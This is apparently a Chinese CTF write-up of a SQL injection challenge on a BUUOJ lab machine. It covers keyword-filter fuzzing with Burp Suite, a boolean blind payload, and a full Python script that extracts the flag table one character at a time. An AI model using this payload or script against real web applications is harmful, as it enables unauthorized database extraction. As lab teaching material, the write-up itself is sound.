一、分析判断
进入靶机,主页面如图:
主页面提供给我们一条关键信息: flag值在 表flag 中的 flag列 中。
接着我们尝试输入不同的id,情况分别如图:
当id=1时:
当id=2时:
当id=3时:
我们发现,页面提示该用户不存在,往后输入4、5....依旧如此,id=0时也一样。
当尝试 id= abc等字母时:
提示类型错误,我们猜测注入类型为数字型注入。
带着猜测,我们尝试 id=1':
猜测成立,注入类型为数字型注入。
然后我们尝试从表flag,列flag中查询flag的值:
1 union select flag from flag
意外出现了,页面提示我们后端代码中存在SQL注入检测,说明注入语句中有关键字被过滤了。
我们需要查询哪些关键字被过滤了。
当我们尝试 id=select时:
显示类型错误,显然后端将 select 当成用户名了,那我们加上1试一试。
当 id=1 select 时:
我们发现 select 果真被过滤了,发现检查方法之后,利用Burpsuite抓包和Fuzz字典对id进行爆破,检测哪些关键字被过滤掉了。
通过查看 resoponse 得知,Length=535的关键字全部都被过滤掉了,其中 union、select、extracvalue、updatexml、sleep等常见注入关键字全部都被过滤,目前只剩下一条路可走---布尔盲注。
从上文得知,id=1时,页面会回显一段文字,那么我们使用布尔盲注,使布尔值等于1,那么等效于我们在 id框中输入1。
如:
(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,我们可以一个一个地将flag中的字符拆解出来。
这就需要我们使用到 python 去编写盲注脚本:
import time
import requests
url = "http://3d63bec3-9674-4015-8b95-665ab2c68324.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):
for j in range(32, 128):
#time.sleep(0.1)
payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"
response = requests.post(url=url, data={'id':payload.format(m=i,n=j)})
if response.text.find('girl') == -1:
result += chr(j)
print(j)
break
print("正在注出flag:", result)
print("flag的值为:", result)
跑出结果如下图:
最终拿到 flag,成功提交通关。